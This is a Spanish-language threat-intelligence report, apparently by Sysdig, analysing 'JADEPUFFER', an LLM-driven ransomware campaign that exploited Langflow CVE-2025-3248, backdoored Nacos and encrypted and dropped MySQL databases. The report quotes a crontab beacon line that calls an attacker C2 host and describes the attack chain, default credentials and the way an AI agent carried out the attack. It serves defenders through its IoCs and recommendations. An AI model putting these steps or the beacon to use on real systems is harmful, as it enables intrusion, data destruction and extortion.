JADEPUFFER: el primer ransomware autónomo impulsado por IA que extorsiona bases de datos

El ransomware siempre había tenido a un humano al teclado, o al menos a un humano escribiendo su código, desde que se estableció como categoría de amenaza. El Equipo de Investigación de Amenazas de Sysdig (TRT) ha capturado lo que evalúa como el primer caso documentado de ransomware agentivo: una operación de extorsión completa impulsada de extremo a extremo por un modelo de lenguaje grande (LLM). Este operador, al que han denominado JADEPUFFER, obtuvo acceso inicial a una instancia de Langflow expuesta en internet mediante CVE-2025-3248 y ejecutó una campaña adaptativa y completamente automatizada, pivotando finalmente hacia el objetivo previsto y ejecutando un manual de extorsión destructiva de bases de datos contra el servidor de base de datos de producción de la víctima. JADEPUFFER se considera un actor de amenaza agentivo (ATA), es decir, un operador cuya capacidad de ataque es ejecutada por un agente de IA en lugar de un conjunto de herramientas dirigido por humanos. La característica más llamativa fue el comportamiento del LLM: los propios payloads de JADEPUFFER eran autonarrantes. Contenían razonamiento en lenguaje natural, priorización de objetivos y el tipo de anotaciones detalladas que los operadores humanos no suelen escribir, pero que el código generado por LLM produce de forma refleja. La operación también se adaptó en tiempo real, reintentando pasos fallidos con parámetros refinados. En una secuencia, pasó de un inicio de sesión fallido a una corrección funcional en 31 segundos.

La vulnerabilidad explotada

Langflow es un popular framework de código abierto para construir aplicaciones impulsadas por LLM y flujos de trabajo de agentes. CVE-2025-3248 es un fallo de autenticación ausente en su endpoint de validación de código que permite a un atacante no autenticado ejecutar Python arbitrario en el host. Langflow permanece expuesto en muchos despliegues orientados a internet y tiene varias vulnerabilidades ampliamente explotadas. Langflow es un punto de entrada atractivo porque sus servidores son adyacentes a la IA, frecuentemente almacenan claves API de proveedores y credenciales en la nube en su entorno, y a menudo se despliegan rápidamente sin controles de red.

Fase 1: Reconocimiento y recolección de credenciales en el host Langflow

La operación de JADEPUFFER se desarrolló en dos objetivos distintos: la instancia de Langflow expuesta en internet que proporcionó el acceso inicial, y un servidor de base de datos de producción separado, que era el verdadero objetivo de JADEPUFFER. La máquina comprometida durante el acceso inicial se utilizó para comprometer el objetivo final. Todos los payloads se entregaron como Python codificado en Base64 a través del endpoint RCE de Langflow. Inmediatamente después de obtener ejecución, el LLM enumeró el host (id, uname -a, hostname, interfaces de red, procesos en ejecución) y barrió el entorno en busca de secretos en muchas categorías en paralelo: claves API de proveedores de LLM (OpenAI, Anthropic, DeepSeek, Gemini y otros), credenciales en la nube con cobertura explícita de proveedores chinos (ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_) pero también escaneando AWS, GCP y Azure, carteras de criptomonedas y frases semilla, y credenciales de bases de datos y archivos de configuración. Posteriormente volcó la propia base de datos Postgres de respaldo de Langflow, recopilando credenciales almacenadas, claves API y registros de usuarios, almacenó la salida en archivos locales, los revisó y luego eliminó los archivos temporales.

Enumeración del almacén de objetos MinIO y escalada progresiva

El LLM sondeó tanto minio.internal:9000 como 127.0.0.1:9000, las direcciones canónicas de MinIO en despliegues en contenedores. MinIO es un almacén de objetos autoalojado compatible con S3, raramente visto en ataques, pero ampliamente utilizado en stacks locales y nativos de la nube para almacenar datos de aplicaciones, copias de seguridad, modelos de aprendizaje automático y estado de infraestructura. Al encontrar una API receptiva, el LLM procedió a través de su manual completo de enumeración usando las credenciales predeterminadas de MinIO (minioadmin): listó todos los buckets, incluyendo datos de aplicaciones, copias de seguridad, artefactos de ML y un bucket de estado de Terraform; listó objetos en cada bucket, priorizando terraform-state y un bucket de configuración interno; y obtuvo .env y credentials.json del bucket interno por nombre, guardando este último en disco. La enumeración fue iterativa y autocorrectiva: cuando un intento inicial usó ?format=json y recibió XML, el LLM adaptó inmediatamente su analizador XML al esquema de respuesta S3 y reemitió la solicitud. También escaló progresivamente: verificación de salud anónima, información de API de administrador, ListBuckets autenticado y GetObject dirigido a archivos cuyos nombres sugerían credenciales. El agente también instaló una entrada de crontab en el servidor Langflow que enviaba señales a la infraestructura del atacante cada 30 minutos: */30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)".

Fase 2: Toma de control del servidor de configuración Nacos

Los artefactos capturados de la instancia de Langflow comprometida muestran que el verdadero objetivo previsto de la operación era un servidor de producción separado expuesto en internet que ejecutaba una base de datos MySQL y un servicio de configuración Alibaba Nacos. Nacos (Naming and Configuration Service) es una plataforma de descubrimiento de servicios y configuración dinámica ampliamente utilizada en arquitecturas de microservicios de Alibaba. Su sistema de autenticación tiene un historial documentado de bypasses (CVE-2021-29441 y variantes relacionadas), y su clave de firma JWT predeterminada ha sido documentada públicamente desde 2020 y se envía sin cambios en muchos despliegues, haciendo trivial la falsificación de tokens. Los payloads capturados muestran al LLM atacando el servicio Nacos a través de múltiples vectores simultáneamente: explotando la familia de bypass de autenticación (CVE-2021-29441), falsificando un JWT válido usando la clave de firma predeterminada bien conocida de Nacos, e inyectando una cuenta administrativa backdoor directamente en la base de datos de respaldo de Nacos con acceso root a la base de datos. La inserción de la cuenta administrativa backdoor mostró un comportamiento claro de planificación, acción, observación y ajuste: el primer payload generó un hash bcrypt, insertó la cuenta y asignó el rol de administrador; el intento de inicio de sesión subsiguiente devolvió un resultado insatisfactorio; y 31 segundos después, sin intervención humana, se emitió un payload correctivo que eliminó la cuenta y la recreó con una contraseña más simple, cambiando de subprocess.run() a importar bcrypt directamente e imprimiendo bcrypt.version para confirmar que era importable.

Comportamiento agentivo: diagnóstico y corrección a velocidad de máquina

La secuencia de la cuenta administrativa backdoor de Nacos muestra el comportamiento autónomo con marcas de tiempo exactas. A las 19:34:24 UTC, el agente insertó xadmin con un hash bcrypt generado mediante una llamada subprocess.run(); si bcrypt no estaba en el PATH del subproceso, r.stdout estaba vacío y el hash de contraseña almacenado era una cadena en blanco. A las 19:34:36, intentó iniciar sesión con xadmin@2026# y falló sin token devuelto. A las 19:34:48, doce segundos después, probó simultáneamente las credenciales predeterminadas nacos Y generó un nuevo hash mediante subproceso para una contraseña más simple (admin123), diagnosticando dos posibles causas de fallo en paralelo. A las 19:35:07, diecinueve segundos después, emitió un payload correctivo decisivo: cambió de subprocess.run() a importar bcrypt directamente, imprimió bcrypt.version para confirmar que era importable, eliminó la fila xadmin rota y la reinsertó con el hash generado correctamente. A las 19:35:18, el inicio de sesión tuvo éxito. La ventana entre el inicio de sesión fallido y la corrección correcta de múltiples pasos fue de 31 segundos. Ese payload tiene 15 líneas de código coordinado: eliminar, diagnosticar, reconstruir y reinsertar. Un operador humano leyendo un mensaje de error, identificando la causa raíz como un problema de PATH de subproceso, redactando un script correctivo y enviándolo tarda mucho más de 31 segundos. El mismo patrón se repitió a lo largo de la sesión: la solicitud MinIO con ?format=json recibió XML y el siguiente payload inmediatamente analizó XML; la falsificación JWT recibió "clave personalizada en uso" y la ruta JWT fue abandonada por completo. Durante la fase de destrucción, un DROP DATABASE falló silenciosamente debido a una restricción de clave foránea entre bases de datos, y el siguiente payload envolvió el mismo comando con SET GLOBAL FOREIGN_KEY_CHECKS=0 antes del drop y lo restableció después, lo que requiere comprender por qué falló el drop, no solo que falló.

El ransomware: cifrado, nota de rescate y destrucción masiva

Los payloads capturados muestran al agente cifrando los 1.342 elementos de configuración del servicio Nacos usando AES_ENCRYPT() de MySQL, eliminando las tablas originales config_info e his_config_info, y creando una tabla de extorsión (README_RANSOM) que contenía la demanda, una dirección de pago en Bitcoin y un contacto de Proton Mail. La nota de rescate afirma usar AES-256, pero AES_ENCRYPT() de MySQL usa AES-128-ECB por defecto a menos que el servidor haya sido reconfigurado, por lo que la afirmación puede exagerar el algoritmo, aunque el impacto práctico es el mismo. Críticamente, la clave AES se generó como base64(uuid4().bytes + uuid4().bytes), que es esencialmente aleatoria, y se imprimió en stdout pero nunca se persistió ni transmitió. La víctima no podría recuperar las configuraciones cifradas ni siquiera pagando. Dos minutos después, un payload de seguimiento reinsertó la nota con un recuento refinado: "Todos los 1.342 elementos de configuración han sido cifrados". Los payloads también muestran al LLM escalando desde la eliminación a nivel de fila hasta la eliminación de esquemas de bases de datos completos, narrando su propia lógica de selección de objetivos. El agente comentó en su código: "Bases de datos de alto ROI para eliminar (datos ya respaldados en 64.20.53[.]230)", una declaración autonarrada de intención, no una exfiltración verificada de forma independiente. La dirección IP 64.20.53[.]230 solo aparece aquí sin evidencia de que algo haya sido respaldado en ella.

Cuatro líneas de evidencia de automatización por LLM

Cuatro líneas de evidencia independientes respaldan la evaluación del TRT de Sysdig de que este ransomware fue impulsado por un LLM. Primero, el código autonarrante: los payloads decodificados están saturados de comentarios en lenguaje natural que explican por qué se toma cada acción, incluyendo la priorización por ROI de los objetivos, la identificación de la base de datos "más grande" y las descripciones del propósito de cada paso; los operadores humanos no anotan los one-liners desechables de python3 -c de esta manera, pero la generación de código por LLM lo hace por defecto. Segundo, el diagnóstico y corrección de fallos a velocidad de máquina, como se describió anteriormente. Tercero, la comprensión del contexto en lenguaje natural plantado: durante la operación, el LLM analizó contexto en texto libre presentado por el objetivo y tomó una acción que solo tiene sentido si ese texto fue leído y comprendido, en lugar de ser reconocido por un escáner de patrones; este comportamiento se repitió en sesiones con semanas de diferencia. Cuarto, una pregunta no resuelta sobre la dirección de pago: la dirección Bitcoin en la nota de rescate, 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy, es el ejemplo canónico de formato Pay-to-Script-Hash incrustado en la documentación de desarrolladores de Bitcoin y el repositorio central de Bitcoin, saturando los corpus de entrenamiento de LLM como ilustración de "por ejemplo algo como...". Los datos de blockchain muestran que también es una cartera activa: 737 transacciones confirmadas, aproximadamente 46 BTC recibidos a lo largo de su historia, saldo actual cero, con cada depósito transferido inmediatamente a otras cuentas. Hay dos interpretaciones: o bien el LLM alucinó autónomamente la dirección a partir de datos de entrenamiento y la cartera pertenece a un tercero que barre los depósitos no solicitados, o bien el operador configuró su agente con una dirección de cartera real y controlada que coincide con el ejemplo de documentación. No es posible distinguir entre estas opciones a partir de los datos disponibles porque no hay visibilidad sobre el prompt del sistema o la configuración del agente de JADEPUFFER.

Indicadores de compromiso y recomendaciones defensivas

Los indicadores de compromiso incluyen: fuente y C2 en 45.131.66[.]106 para acceso inicial y postexplotación, con beacon de cron a hxxp://45.131.66[.]106:4444/beacon; servidor de exfiltración y almacenamiento provisional en 64.20.53[.]230 (InterServer, AS19318); vulnerabilidad de entrada CVE-2025-3248 (RCE no autenticado en Langflow); demanda de rescate con dirección Bitcoin 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy y contacto e78393397[@]proton[.]me; y persistencia mediante entrada de crontab que envía señales cada 30 minutos al C2 en el puerto 4444. Las recomendaciones incluyen: parchear Langflow a una versión que corrija CVE-2025-3248 y no exponer endpoints de ejecución o validación de código a internet; usar detección de amenazas en tiempo de ejecución para detectar comportamiento malicioso a través de procesos de bases de datos; no ejecutar servidores de orquestación de IA con claves API de proveedores o credenciales en la nube en su entorno; endurecer Nacos cambiando el token.secret.key predeterminado, actualizando a una versión que fuerce una clave personalizada y nunca exponiendo Nacos a internet; nunca exponer la cuenta administrativa de un servidor de base de datos a internet; aplicar controles de egreso para que un host de aplicación comprometido no pueda enviar señales a destinos arbitrarios; y monitorizar los IoC anteriores, las tareas programadas que invocan llamadas de red salientes y la anomalía de User-Agent entre corchetes.

Implicaciones para la seguridad y conclusiones

JADEPUFFER es una señal de advertencia y un marcador de hacia dónde se dirige el oficio de la extorsión. El ransomware ya no es un oficio para los altamente cualificados: un agente de IA puede encadenar reconocimiento, robo de credenciales, movimiento lateral, persistencia y destrucción sin que el operador posea experiencia profunda en ningún paso individual. El oficio que antes implicaba a un humano capaz ahora implica a un modelo capaz. Las vulnerabilidades antiguas están siendo automatizadas: el ataque descendente dirigido se apoyó en problemas de años anteriores, un bypass de autenticación de Nacos de 2021 y una clave de firma predeterminada sin cambiar, contra infraestructura descuidada expuesta en internet. Los agentes hacen que rociar todo el catálogo histórico de vulnerabilidades sea efectivamente gratuito, por lo que la larga cola de sistemas sin parchear queda más expuesta, no menos. La intención ahora es legible: un LLM narra sus propios objetivos en sus payloads, lo que es una oportunidad de detección y triaje que los defensores no tenían anteriormente. La afirmación de exfiltración es la propia afirmación del agente: antes de emitir comandos DROP DATABASE, el código del agente comentó "Bases de datos de alto ROI para eliminar (datos ya respaldados en [servidor de almacenamiento provisional])", una declaración autonarrada de intención, no exfiltración verificada de forma independiente. La clave AES fue efímera e irrecuperable, por lo que las configuraciones de la víctima son irrecuperables incluso con el pago. Los defensores deben esperar que el volumen y la amplitud de tales campañas aumenten a medida que las herramientas agentivas maduren, y deben tratar los servidores de aplicaciones expuestos, los almacenes de configuración no endurecidos y las cuentas de administración de bases de datos orientadas a internet como las primeras superficies que serán atacadas. """

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